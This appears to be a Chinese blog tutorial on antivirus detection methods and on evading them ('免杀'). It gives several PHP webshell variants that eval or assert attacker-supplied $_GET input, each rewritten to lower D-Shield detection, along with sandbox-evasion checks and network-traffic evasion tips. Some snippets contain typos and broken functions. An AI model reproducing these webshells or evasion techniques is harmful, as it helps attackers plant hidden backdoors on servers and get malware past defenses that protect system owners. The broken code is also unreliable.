AV主流查杀方式及免杀基础
杀毒软件主流查杀方式
静态查杀
在程序还未运行的时候查杀:读取文件内容,匹配字符特征
动态查杀
攻击者在攻击的时候,一般会存在某些特定的行为特征。当木马文件运行的时候出现这些特定的行为特征,就会被查杀
日志查杀
基于大量行为特征日志进行高度的总结和概括形成模型。当所查的文件特征与该模型契合的时候,就认定为木马。
静态免杀:
加密免杀
引用内容逃脱
<?php
$a = $_GET['test'];
$b = &$a;
eval($b);
?>
#该方法会被杀毒软件检测。
使用以下方法可以降低D盾查杀级别:
<?php
$b = &$a;
$a = $_GET['test'];
eval($b);
?>
#先将变量 $a 的地址赋值给变量 $b ,之后再给变量 $a 赋值为GET方法接受参数。再执行 $b
#杀毒软件在静态运行的情况下无法得知后来变量 $a 又对其进行了赋值
#使用该方法可以使D盾检测级别变为1。
#说明:Eval后门 参数 $b 未知内容 可疑eval
使用回调函数免杀
动态调用:
<?php
$func = 'as' . 'sert';
$func($_GET['test']);
?>
#该马不能免杀
使用回调函数
使用函数array_map
<?php
$a = $_GET['test'];
$fun = array($_GET['fun']);
Array_map(base64_decode(fun),$a);
?>
#可以降低D盾查杀级别
使用函数Filter_input
<?php
Filter_input(INPUT_GET,'test',FILTER_CALLBACK,array('options' => 'assert'));
?>
引用函数免杀
<?php
function func($a,$b){
return $a($b);
}
$b = $_REQUEST['test'];
$a = 'assert';
func($a,$b);
?>
函数特征规避
<?php
functioin func(){
return $a($b);
}
$b = $_GET['test'];
$a = char(97).char(115).char(101).char(114).char(116);
func($a,$b);
动态免杀
通常这一步都是静态分析之后做的,部分杀毒软件会有沙盒
沙盒,也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为
- 沙盒模拟的常见特征:
- 内存较小,不影响计算机正常运行
- 针对此中,可以让病毒在计算机内存小于4G时,不执行病毒程序,否则,执行。
- 时间较快,沙盒内置的时间速度比现实世界要快,提高查杀速度
- C语言,有一个函数,判断一秒是不是一千毫秒
- 进程或文件不完整,减少杀毒软件运行时对计算机的消耗
- 判断计算机有没有20个以上的进程
- payload调用一个根本不存在的文件,如果成功,则不执行下一步,如果不成功,则继续执行payload
- io设备缺失,鼠标键盘等事件大部分沙盒都没有
- 检测驱动、USB接口
- 判断鼠标移动速度
- 内存较小,不影响计算机正常运行
总结:一台计算机和沙盒有何不同,然后再payload中加以判断
计算机相关
- 服务
- 注册表
- 组策略
- 防火墙
- 敏感程序
- cmd , powershell , wmi psexec , bitsadmin , rundll
- 用户
- 添加
- 删除
- 修改等
- 文件夹
- C:/windows/system32
- C:/User/Administrator/AppData/Roaming/Microsoft/windows/Start Menu/Programs/Startup
- C:/tmp【payload,APT武器库,样本再此文件夹创建临时文件】等敏感文件
常见绕过思路
白名单调用这些敏感行为,再导入恶意内容
加密推荐使用动态密钥,可以自定义的东西,而不是单纯的编码【非对称密钥】
网络相关
IP、域名、证书匹配
查找通讯的IP或域名是否之前存在攻击行为
流量内容
时间特征:扫描等
内容特征:data字段中是否存在命令相关关键词或关键词加密特征
结构特征:是否存在已知远控的通讯结构特征
常见绕过思路
tcp分段 免杀效果最好,但是如果网络连接不好容易断开连接
内容加密
使用合法证书
对编程语言的免杀
- powershell : 混淆、加密
- c++ : 编译过程、混淆、加密
- python : 混淆、加密
- 通用 : 启发式查杀
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现